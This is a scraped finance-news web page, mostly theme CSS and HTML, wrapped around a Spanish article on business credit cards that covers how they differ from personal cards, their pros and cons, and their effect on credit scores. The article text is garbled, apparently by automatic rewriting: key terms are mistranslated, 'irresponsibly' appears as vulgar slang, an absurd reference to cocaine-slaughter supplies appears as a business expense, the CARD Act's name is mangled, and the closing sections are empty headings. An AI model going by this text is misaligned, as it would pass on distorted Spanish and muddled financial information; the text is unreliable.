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<style scoped>.tdi_17,.tdi_17 .tdc-columns{min-height:0}.tdi_17,.tdi_17 .tdc-columns{display:block}.tdi_17 .tdc-columns{width:100%}.tdi_17:before,.tdi_17:after{display:table}@media (max-width:767px){.tdi_17,.tdi_17 .tdc-columns{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_17 .tdc-columns{width:100%}.tdi_17:before,.tdi_17:after{display:none}@media (min-width:768px){.tdi_17{margin-left:-0px;margin-right:-0px}.tdi_17 .tdc-row-video-background-error,.tdi_17>.vc_column,.tdi_17>.tdc-columns>.vc_column{padding-left:0px;padding-right:0px}}}@media (max-width:767px){.tdi_17{padding-top:5px!important;padding-bottom:5px!important;position:relative}}</style>
<div class="tdi_16_rand_style td-element-style" ><style>@media (max-width:767px){.tdi_16_rand_style{background-color:#00456e!important}}</style></div><div class="vc_column tdi_19  wpb_column vc_column_container tdc-column td-pb-span3">
<style scoped>.tdi_19{vertical-align:baseline}.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:block}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:100%;height:100%}}@media (max-width:767px){.tdi_19{width:10%!important;text-align:left!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_menu tdi_20 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_20" >
<style>@media (max-width:767px){.tdi_20{margin-left:-20px!important}}</style>
<style>.tdi_20{display:inline-block}.tdi_20 .tdb-mobile-menu-button i{font-size:27px;width:54px;height:54px;line-height:54px}.tdi_20 .tdb-mobile-menu-button svg{width:27px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:54px;height:54px}.tdi_20 .tdb-mobile-menu-button{color:#ffffff}.tdi_20 .tdb-mobile-menu-button svg,.tdi_20 .tdb-mobile-menu-button svg *{fill:#ffffff}.tdi_20 .tdb-mobile-menu-button:hover{color:#ededed}.tdi_20 .tdb-mobile-menu-button:hover svg,.tdi_20 .tdb-mobile-menu-button:hover svg *{fill:#ededed}@media (max-width:767px){.tdi_20 .tdb-mobile-menu-button i{font-size:25px;width:50px;height:50px;line-height:50px}.tdi_20 .tdb-mobile-menu-button svg{width:25px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:50px;height:50px}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-mobile-menu-button"><i class="tdb-mobile-menu-icon td-icon-mobile"></i></span></div></div> <!-- ./block --></div></div><div class="vc_column tdi_22  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_22{vertical-align:baseline}.tdi_22>.wpb_wrapper,.tdi_22>.wpb_wrapper>.tdc-elements{display:block}.tdi_22>.wpb_wrapper>.tdc-elements{width:100%}.tdi_22>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_22>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_22{width:80%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_23 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_23" >
<style>.tdi_23 .tdb-logo-a,.tdi_23 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_23 .tdb-logo-svg-wrap{display:block}.tdi_23 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_23 .tdb-logo-img-wrap{display:block}.tdi_23 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_23 .tdb-logo-text-title{display:block;color:#ffffff;font-size:40px!important;letter-spacing:-2px!important;}.tdi_23 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_23 .tdb-logo-icon{top:0px;display:block}.tdi_23 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:1019px) and (max-width:1140px){.tdi_23 .tdb-logo-text-title{font-size:33px!important;}}@media (min-width:768px) and (max-width:1018px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;letter-spacing:-3px!important;}}@media (max-width:767px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_25  wpb_column vc_column_container tdc-column td-pb-span3">
<style scoped>.tdi_25{vertical-align:baseline}.tdi_25>.wpb_wrapper,.tdi_25>.wpb_wrapper>.tdc-elements{display:block}.tdi_25>.wpb_wrapper>.tdc-elements{width:100%}.tdi_25>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_25>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_25{width:10%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_search tdi_26 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_26" >
<style>.tdi_26{display:inline-block}.tdi_26 .tdb-header-search-button-mob i{font-size:22px;width:55px;height:55px;line-height:55px}.tdi_26 .tdb-header-search-button-mob svg{width:22px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:55px;height:55px;display:flex;justify-content:center}.tdi_26 .tdb-header-search-button-mob{color:#ffffff}.tdi_26 .tdb-header-search-button-mob svg,.tdi_26 .tdb-header-search-button-mob svg *{fill:#ffffff}.tdi_26 .tdb-header-search-button-mob:hover{color:#f2f2f2}@media (max-width:767px){.tdi_26 .tdb-header-search-button-mob i{font-size:20px;width:50px;height:50px;line-height:50px}.tdi_26 .tdb-header-search-button-mob svg{width:20px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:50px;height:50px;display:flex;justify-content:center}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-header-search-button-mob dropdown-toggle" data-toggle="dropdown"><i class="tdb-mobile-search-icon td-icon-search"></i></span></div></div> <!-- ./block --></div></div></div></div></div></div>                    </div>

                
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<style scoped>.tdi_28{min-height:0}.td-header-desktop-wrap{position:relative}</style><div id="tdi_29" class="tdc-row stretch_row_1200 td-stretch-content"><div class="vc_row tdi_30  wpb_row td-pb-row tdc-element-style" >
<style scoped>.tdi_30,.tdi_30 .tdc-columns{min-height:0}.tdi_30,.tdi_30 .tdc-columns{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_30 .tdc-columns{width:100%}.tdi_30:before,.tdi_30:after{display:none}.tdi_30{padding-top:5px!important;padding-bottom:5px!important;position:relative}.tdi_30 .td_block_wrap{text-align:left}</style>
<div class="tdi_29_rand_style td-element-style" ><style>.tdi_29_rand_style{background-color:#005689!important}</style></div><div class="vc_column tdi_32  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_32{vertical-align:baseline}.tdi_32>.wpb_wrapper,.tdi_32>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_32>.wpb_wrapper>.tdc-elements{width:100%}.tdi_32>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_32>.wpb_wrapper{width:100%;height:100%}.tdi_32{width:30%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_date tdi_33 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_33" >
<style>.tdb_header_date{margin-bottom:0;clear:none}.tdb_header_date .tdb-block-inner{display:flex;align-items:baseline}.tdb_header_date .tdb-head-date-txt{font-family:var(--td_default_google_font_1,'Open Sans','Open Sans Regular',sans-serif);font-size:11px;line-height:1;color:#000}.tdi_33{display:inline-block}.tdi_33 .tdb-head-date-txt{color:#ffffff;font-size:15px!important;font-weight:600!important}@media (min-width:1019px) and (max-width:1140px){.tdi_33 .tdb-head-date-txt{font-size:14px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_33 .tdb-head-date-txt{font-size:11px!important}}</style><div class="tdb-block-inner td-fix-index"><div class="tdb-head-date-txt">Wednesday, September 16, 2026</div></div></div> <!-- ./block --></div></div><div class="vc_column tdi_35  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_35{vertical-align:baseline}.tdi_35>.wpb_wrapper,.tdi_35>.wpb_wrapper>.tdc-elements{display:block}.tdi_35>.wpb_wrapper>.tdc-elements{width:100%}.tdi_35>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_35>.wpb_wrapper{width:auto;height:auto}.tdi_35{width:40%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_36 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_36" >
<style>.tdi_36 .tdb-logo-a,.tdi_36 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_36 .tdb-logo-svg-wrap{display:block}.tdi_36 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_36 .tdb-logo-img-wrap{display:block}.tdi_36 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_36 .tdb-logo-text-title{display:block;color:#ffffff;font-size:43px!important;letter-spacing:-2px!important;}.tdi_36 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_36 .tdb-logo-icon{top:0px;display:block}.tdi_36 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:768px) and (max-width:1018px){.tdi_36 .tdb-logo-text-title{font-size:30px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_38  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_38{vertical-align:baseline}.tdi_38>.wpb_wrapper,.tdi_38>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-end;align-items:flex-end}.tdi_38>.wpb_wrapper>.tdc-elements{width:100%}.tdi_38>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_38>.wpb_wrapper{width:100%;height:100%}.tdi_38{width:30%!important}@media(min-width:1141px){.tdi_38{display:inline-block!important}}</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_socials tdi_39 tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_39" >
<style>.tdi_39{margin-right:10px!important;margin-bottom:10px!important;padding-top:-!important}</style>
<style>.tdm_block.tdm_block_socials{margin-bottom:0}.tdm-social-wrapper{*zoom:1}.tdm-social-wrapper:before,.tdm-social-wrapper:after{display:table;content:'';line-height:0}.tdm-social-wrapper:after{clear:both}.tdm-social-item-wrap{display:inline-block}.tdm-social-item{position:relative;display:inline-block;vertical-align:middle;-webkit-transition:all 0.2s;transition:all 0.2s;text-align:center;-webkit-transform:translateZ(0);transform:translateZ(0)}.tdm-social-item i{font-size:14px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-text{display:none;margin-top:-1px;vertical-align:middle;font-size:13px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-item-wrap:hover i,.tdm-social-item-wrap:hover .tdm-social-text{color:#000}.tdm-social-item-wrap:last-child .tdm-social-text{margin-right:0!important}</style>
<style>.tdi_40 .tdm-social-item i{font-size:13px;vertical-align:middle;line-height:19.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:10.4px}.tdi_40 .tdm-social-item{width:19.5px;height:19.5px;margin:5px 10px 5px 0}.tdi_40 .tdm-social-item-wrap:last-child .tdm-social-item{margin-right:0!important}.tdi_40 .tdm-social-item i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item i{color:#ffffff}.tdi_40 .tdm-social-item-wrap:hover i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item:hover i{color:#4db2ec}.tdi_40 .tdm-social-text{display:none;margin-left:2px;margin-right:18px;color:#ffffff;font-family:Merriweather Sans!important;font-size:12px!important}.tdi_40 .tdm-social-item-wrap:hover .tdm-social-text{color:#4db2ec}@media (min-width:768px) and (max-width:1018px){.tdi_40 .tdm-social-item i{font-size:11px;vertical-align:middle;line-height:16.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:8.8px}.tdi_40 .tdm-social-item{width:16.5px;height:16.5px}.tdi_40 .tdm-social-text{font-size:11px!important}}</style><div class="tdm-social-wrapper tds-social1 tdi_40"><div class="tdm-social-item-wrap"><a href="#"  title="Facebook" class="tdm-social-item"><i class="td-icon-font td-icon-facebook"></i><span style="display: none">Facebook</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Instagram" class="tdm-social-item"><i class="td-icon-font td-icon-instagram"></i><span style="display: none">Instagram</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Linkedin" class="tdm-social-item"><i class="td-icon-font td-icon-linkedin"></i><span style="display: none">Linkedin</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Twitter" class="tdm-social-item"><i class="td-icon-font td-icon-twitter"></i><span style="display: none">Twitter</span></a></div></div></div><div class="td_block_wrap tdb_header_search tdi_41 tdb-header-search-trigger-enabled td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_41" >
<style>.tdi_41{justify-content:flex-end!important;text-align:right!important}</style>
<style>.tdb_module_header{width:100%;padding-bottom:0}.tdb_module_header .td-module-container{display:flex;flex-direction:column;position:relative}.tdb_module_header .td-module-container:before{content:'';position:absolute;bottom:0;left:0;width:100%;height:1px}.tdb_module_header .td-image-wrap{display:block;position:relative;padding-bottom:70%}.tdb_module_header .td-image-container{position:relative;width:100%;flex:0 0 auto}.tdb_module_header .td-module-thumb{margin-bottom:0}.tdb_module_header .td-module-meta-info{width:100%;margin-bottom:0;padding:7px 0 0 0;z-index:1;border:0 solid #eaeaea;min-height:0}.tdb_module_header .entry-title{margin:0;font-size:13px;font-weight:500;line-height:18px}.tdb_module_header .td-post-author-name,.tdb_module_header .td-post-date,.tdb_module_header .td-module-comments{vertical-align:text-top}.tdb_module_header .td-post-author-name,.tdb_module_header .td-post-date{top:3px}.tdb_module_header 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aria-label="Buscar"><span>Buscar</span></button></div></form><div class="tdb-aj-search"></div></div></div><a href="#" role="button" aria-label="Buscar" class="tdb-head-search-btn dropdown-toggle" data-toggle="dropdown"><i class="tdb-search-icon td-icon-search"></i></a></div></div> <!-- ./block --></div></div></div></div><div id="tdi_42" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_43  wpb_row td-pb-row tdc-element-style" >
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<p>            Momo Productions / Getty Images
        </p>
</p></div>
<div>
<div id="block_58cb47c0ebf028d5988b48795a9a191b" class="key-takeaways sm:border-l-4 border-(--accent) sm:pl-8 my-8 relative" style="--accent: var(--color-blue-medium)">
    <!-- htmlmin:ignore --></p>
<h2 class="heading-4 mt-0 mb-4 text-crop-none max-sm:flex max-sm:items-center max-sm:gap-4" id="key-takeaways" data-position="0" data-beam-element-viewed="" data-id="br-h2-0-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="Key takeaways" data-outcome="">
    <span class="shrink-0">Control de interruptor</span><br />
        <span class="max-sm:h-0.5 max-sm:w-full max-sm:w-full max-sm:bg-(--accent) max-sm:rounded-full max-sm:block"></span><br />
    </h2>
<p>    <!-- htmlmin:ignore --></p>
<ul class="flex flex-col text-gray-700 mb-0 gap-2 list-disc">
<li class="pl-4 relative marker:text-(--accent)">
<p>                                                            Una plástico de crédito comercial está diseñada para apoyar a los propietarios y empresarios de pequeñas empresas y ayudarlos a apoyar el desembolso comercial separado del desembolso personal.
                                                </li>
<li class="pl-4 relative marker:text-(--accent)">
<p>                                                            Estas tarjetas generalmente ofrecen líneas de crédito más altas, recompensas lucrativas y ventajas relacionadas con el negocio, incluidas tarjetas de empleados adicionales.
                                                </li>
<li class="pl-4 relative marker:text-(--accent)">
<p>                                                            Sin bloqueo, estas tarjetas no ofrecen la misma responsabilidad de la plástico de crédito, responsabilidad y protección de la Ley de divulgación (plástico) como tarjetas personales.
                                                </li>
</ul>
</div>
<p>Las tarjetas de crédito son una parte integral de nuestra vida cotidiana, una forma conveniente de sufragar los fundamentos esenciales (y derroches) con solo un toque o deslizamiento. Del mismo modo, si posee un negocio, una plástico de crédito comercial puede ayudarlo a sufragar los gastos necesarios para comprar suministros y ejecutar sus operaciones diarias. Al igual que las tarjetas de crédito personal, las tarjetas de crédito comerciales ofrecen la oportunidad de <u>Gane puntos, millas o reembolso en efectivo</u> en sus gastos y finanzas grandes compras.</p>
<p>Cuando se usa de modo responsable, una plástico de crédito comercial puede ser una apéndice útil a su plan financiero normal. Descubra lo que necesita aprender sobre este tipo único de plástico de crédito, incluida la forma en que funciona una plástico de presentación y cómo solicitar una.</p>
<h2 id="what" data-position="1" data-beam-element-viewed="" data-id="br-h2-1-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="What is a business credit card?" data-outcome="">¿Qué es una plástico de crédito comercial?</h2>
<p class="Tldr my-6">
<p>    Una plástico de crédito comercial es una plástico dirigida a empresarios y dueños de negocios, que ofrece beneficios únicos adaptados a empresas de todos los tamaños.
</p>
<p>Una plástico de crédito comercial puede ayudarlo a sufragar sus gastos fijos, como el locación y los servicios públicos, y igualmente puede ofrecer una forma de cubrir las fluctuaciones en las deyección de su negocio, como suministros de matanza de cocaína u otras demandas estacionales. Las tarjetas de crédito comerciales se pueden dividir en dos tipos:</p>
<ol>
<li>Tarjetas de crédito de pequeñas empresas, que están hechas para empresarios, propietarios únicos y propietarios de pequeñas empresas.</li>
<li>
<p>Tarjetas corporativas, que están disponibles exclusivamente para las empresas que cumplen con ciertos umbrales de ingresos y otros requisitos.</li>
</ol>
<p>Sin bloqueo, nos centraremos en los beneficios y desventajas de las tarjetas de crédito de pequeñas empresas en esta práctico.</p>
<h3>Tarjetas de crédito comerciales contra tarjetas de crédito personales</h3>
<p><u>Tarjetas personales</u> y las tarjetas de crédito comerciales pueden discrepar en más formas de las que cabría esperar:</p>
<div class="w-full overflow-x-auto">
<table class="wp-block-table is-style-stripes wrapped">
<tbody>
<tr>
<td> </td>
<td><strong>Tarjetas de crédito comerciales</strong></td>
<td><strong>Tarjetas de crédito personal</strong></td>
</tr>
<tr>
<td><strong>Requisitos de aplicación</strong></td>
<td>
<ul>
<li>Debe tener un negocio (puede ser propietario único)</li>
<li>Debe cumplir con los requisitos del emisor</li>
<li>Por lo normal, debe dar una señal personal</li>
</ul>
</td>
<td>Debe cumplir con los requisitos del emisor</td>
</tr>
<tr>
<td><strong>Características principales</strong></td>
<td>
<ul>
<li>Límites de desembolso más altos</li>
<li>Potencial para obtener recompensas relacionadas con los negocios</li>
<li>Paso a tarjetas de empleados y herramientas de contabilidad</li>
</ul>
</td>
<td>
<ul>
<li>No necesitas tener un negocio</li>
<li>Potencial para obtener recompensas en muchas categorías de gastos diferentes</li>
<li>Protección de acto de plástico</li>
</ul>
</td>
</tr>
<tr>
<td><strong>Impacto en el puntaje de crédito</strong></td>
<td>
<ul>
<li>Puede dañar su puntaje de crédito personal si se usa de modo valeverguista</li>
<li>Puede ayudarlo a ocasionar crédito comercial</li>
</ul>
</td>
<td>
<ul>
<li>Puede ayudarlo a ocasionar crédito personal</li>
<li>No afecta su puntaje de crédito comercial</li>
</ul>
</td>
</tr>
</tbody>
</table>
</div>
<h2 id="how" data-position="2" data-beam-element-viewed="" data-id="br-h2-2-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="How a business card works" data-outcome="">Cómo funciona una plástico de presentación</h2>
<p>Las tarjetas de crédito comerciales funcionan de modo similar a las tarjetas personales. Puede cobrar compras a su plástico, que se sostén en una diámetro de crédito. Al final de cada ciclo de facturación, recibe una exposición de plástico de crédito que incluye una registro detallada de compras, el saldo total adeudado y el monto pequeño adeudado.</p>
<p>Si paga su preparación en su totalidad cada mes, generalmente no se le cobra intereses sobre esas compras. Si llevas un seguridad <u>Pasado su período de favor</u>comenzará a acumular interés en ese saldo en función de las tasas de interés de su plástico.</p>
<p>En normal, cuanto más solvente sea su negocio, más probabilidades tendrá de acoger un inclinado <u>Tasa de porcentaje anual (APR)</u> cuando se aprueba para su plástico.</p>
<p>Al igual que las tarjetas de crédito personales, puede encontrar una variedad de tarjetas de crédito comerciales en el mercado sin tarifas anuales. Estas podrían ser excelentes opciones si recién está comenzando su negocio. Sin bloqueo, las tarjetas premium con tarifas anuales tienden a ofrecer bonos de registro más fuertes, tarifas de recompensas y ventajas.</p>
<section class="editorial-insight-box --insight-box +mg-vertical-md" data-template="insight_box">
<div class="card-body border-l-4 border-blue-800">
<div class="icon-wrapper">
                <svg xmlns="http://www.w3.org/2000/svg" class="icon-offset-blue-200" viewbox="0 0 24 24" fill="currentColor" focusable="false"><title>Maleable de crédito con icono de signo de dólar</title>
<path d="M4.3 10.2A2.7 2.7 0 0 1 7 7.5h14.1a2.7 2.7 0 0 1 2.7 2.7v8.61a2.7 2.7 0 0 1-2.7 2.7H7a2.7 2.7 0 0 1-2.7-2.7V10.2Z" fill="transparent" class="icon-offset"></path><path fill-rule="evenodd" clip-rule="evenodd" d="M11.586 20.014h-7.24c-1.567 0-2.846-1.148-2.846-2.558V7.058C1.5 5.648 2.771 4.5 4.345 4.5h15.31c1.566 0 2.845 1.148 2.845 2.558v4.248c0 .36-.295.656-.656.656a.658.658 0 0 1-.656-.656v-.544H2.812v6.694c0 .689.689 1.246 1.533 1.246h7.24c.362 0 .657.295.657.656 0 .361-.295.656-.656.656ZM2.812 9.45h18.376V7.058c0-.688-.689-1.246-1.533-1.246H4.345c-.844 0-1.533.558-1.533 1.246V9.45Zm13.915 11.548c0 .361.295.656.656.656.36 0 .656-.295.656-.656v-.476h.115c1.107 0 2-.893 2-2s-.893-2.001-2-2.001h-1.533a.693.693 0 0 1-.69-.689c0-.377.313-.689.69-.689H19.122c.36 0 .656-.295.656-.656a.658.658 0 0 0-.656-.656h-1.083v-.483a.658.658 0 0 0-.656-.656.658.658 0 0 0-.656.656v.483h-.106c-1.107 0-2.001.894-2.001 2.001 0 1.107.894 2 2 2h1.534c.377 0 .689.313.689.69a.693.693 0 0 1-.689.689h-2.5a.658.658 0 0 0-.657.655c0 .361.295.657.656.657h1.074v.475Z" class="icon-base"></path></svg>
            </div>
<div class="content-wrapper">
<p>                    ¿Qué pasa con las tarjetas de carga comercial?
                </p>
<div class="content wysiwyg wysiwyg--flush">
<p>Algunas tarjetas de cita son en realidad tarjetas de carga, lo que significa que generalmente requieren el plazo en su totalidad cada mes. Pero generalmente no tendrá un margen de crédito establecido con tarjetas de carga.</p>
<p>Las tarjetas de carga pueden no ser la mejor opción para los dueños de negocios que buscan sufragar altos costos de inicio con el tiempo, o para aquellos con ingresos fluctuantes. Sin bloqueo, la desidia de un margen de desembolso puede hacer que las tarjetas de carga sean ideales para empresas establecidas con grandes gastos mensuales que se consideran en el presupuesto de la empresa.</p>
</p></div>
</p></div>
</p></div>
</section>
<h2 id="pros-cons" data-position="3" data-beam-element-viewed="" data-id="br-h2-3-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="Pros and cons of a business card" data-outcome="">Pros y contras de una plástico de presentación</h2>
<p>Vea las formas en que una plástico de crédito comercial puede beneficiarlo a usted y algunas desventajas de padecer una plástico de presentación. </p>
<div id="block_8d96da240886dc717dcc7706caf37f1a" class="flex flex-col gap-8 my-6 not-wysiwyg">
<div class="ProsAndConsList" data-js-selector="ProsAndConsList">
<div class="ProsAndConsItem">
        <!-- htmlmin:ignore --></p>
<h3 class="ProsAndConsItem-header">
<p>    Beneficios de una plástico de crédito comercial<br />
    </h3>
<p>    <!-- htmlmin:ignore --></p>
<ul class="ProsAndConsItem-list">
<li>
                    <strong>Altos límites de crédito.</strong> Las tarjetas de presentación son adecuadas para las deyección comerciales, que generalmente ofrecen líneas de crédito más altas que las tarjetas de crédito de consumo.
                </li>
<li>
                    <strong>Seguimiento de gastos comerciales.</strong> Estas tarjetas le permiten separar el desembolso comercial del desembolso personal. Mantiene sus cuentas y igualmente prepara sus declaraciones de impuestos.
                </li>
<li>
                    <strong>Períodos prolongados sin intereses. </strong>Algunas tarjetas ofrecen promociones introductorias de APR que duran más que el período representativo para una plástico de crédito personal. Esto a menudo es en forma de 0 por ciento de ofertas introductorias de APR.
                </li>
<li>
                    <strong>Recompensas adicionales. </strong>Las mejores tarjetas para gastos comerciales ofrecen mejores recompensas en su desembolso que las tarjetas personales. Si su industria requiere viajes regulares, por ejemplo, puede obtener reembolso en efectivo o puntos en vuelos, alquileres y estadías, tanto para usted como para cualquier empleado en su cuenta.
                </li>
<li>
                    <strong>Ventajas relacionadas con el negocio. </strong>Puedes anotar <u>Oferentes específicas para su negocio</u>como el camino regalado al software de contabilidad y los descuentos de servicios para su negocio.
                </li>
<li>
                    <strong>Bonos de registro generosos.</strong> Estas tarjetas generalmente ofrecen más fuertes <u>Bonos de registro</u> o ofertas de bienvenida que las tarjetas de consumo, aunque a menudo con una tarifa anual más ingreso.
                </li>
<li>
                    <strong>Mayores límites en el desembolso de categoría. </strong>Muchas tarjetas de cita premium igualmente ofrecen límites de desembolso de categoría más altos de lo que vería en las tarjetas de consumo, lo que podría resultar en bonos de devolución de efectivo mensuales más grandes que puede reinvertir en su negocio.
                </li>
<li>
                    <strong>Tarjetas de empleado.</strong> Las tarjetas de presentación le permiten unir empleados a su cuenta con límites personalizados sobre dónde y cómo compran artículos para su negocio orientados a roles específicos. Puede revisar la actividad de desembolso de los empleados y construir puntos, efectivo o millas en compras de empleados.
                </li>
</ul></div>
<div class="ProsAndConsItem">
        <!-- htmlmin:ignore --></p>
<h3 class="ProsAndConsItem-header">
<p>    Desventajas de una plástico de crédito comercial<br />
    </h3>
<p>    <!-- htmlmin:ignore --></p>
<ul class="ProsAndConsItem-list">
<li>
                    <strong>Su emisor probablemente requerirá una señal personal. </strong>Muchos emisores de tarjetas de presentación requieren que firme una señal que lo haga personalmente responsable de cualquier deuda de plástico que su negocio no pueda sufragar.
                </li>
<li>
                    <strong>Su plástico puede venir con altas tarifas anuales.</strong> Incluso si las fuertes recompensas y ventajas podrían compensar la tarifa anual, aún puede parecer un precio considerable a sufragar. Las tarjetas de cita más caras cobran tarifas anuales de $ 500 o más.
                </li>
<li>
                    <strong>Su plástico no tendrá protecciones de acto de plástico.</strong> Las tarjetas de cita no califican para las mismas protecciones que hacen las tarjetas de consumo bajo la Ley de Responsabilidad de Responsabilidad y Divulgación de la Maleable de Crédito de 2009, más comúnmente citación Ley de Maleable, como un requisito para advertir a los consumidores de aumentos de tasas de interés planificadas.
                </li>
</ul></div>
</div></div>
<h2 id="impacts" data-position="4" data-beam-element-viewed="" data-id="br-h2-4-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="How a business card impacts your credit score" data-outcome="">Cómo una plástico de presentación impacta su puntaje de crédito</h2>
<p>Para clasificar para una plástico de presentación, su emisor revisará su historial de crédito y <u>puntaje de crédito personal</u> Para determinar su solvencia y la probabilidad de reembolso oportuno por cualquier cargo incurrido.</p>
<p>Los emisores necesitan comprobar de que determinado sea responsable si su negocio encuentra dificultades para sufragar sus deudas o, lo que es peor, no va a la empresa. Por lo tanto, es probable que deba firmar una señal personal que le indique al emisor que es personalmente responsable de cualquier deuda que su negocio no pueda sufragar.</p>
<p>Correcto a esto, la mayoría de los emisores de tarjetas de presentación informan su deuda y uso de la plástico de crédito a los servicios de informes de crédito comercial, como <u>Dun y Bradstreet</u>. Algunos de estos emisores igualmente informan su actividad de plástico de crédito comercial a las principales oficinas de crédito al consumo, por lo que manejar su plástico de presentación de modo valeverguista puede dañar su puntaje de crédito personal. Revise su acuerdo de plástico de crédito para vigilar a quién denuncian sus deudas y pagos y cuándo.</p>
<p>Si usa su plástico de crédito comercial de modo responsable, es recompensado con un más resistente <u>puntaje de crédito comercial</u> Eso puede desbloquear líneas de crédito más grandes y otros préstamos comerciales para hacer crecer su negocio, incluso si su crédito personal es deficiente.</p>
<h2 id="apply" data-position="5" data-beam-element-viewed="" data-id="br-h2-5-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="How to apply for a business credit card" data-outcome="">Cómo solicitar una plástico de crédito comercial</h2>
<h2 data-position="6" data-beam-element-viewed="" data-id="br-h2-6-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="The bottom line" data-outcome="">El resultado final</h2>
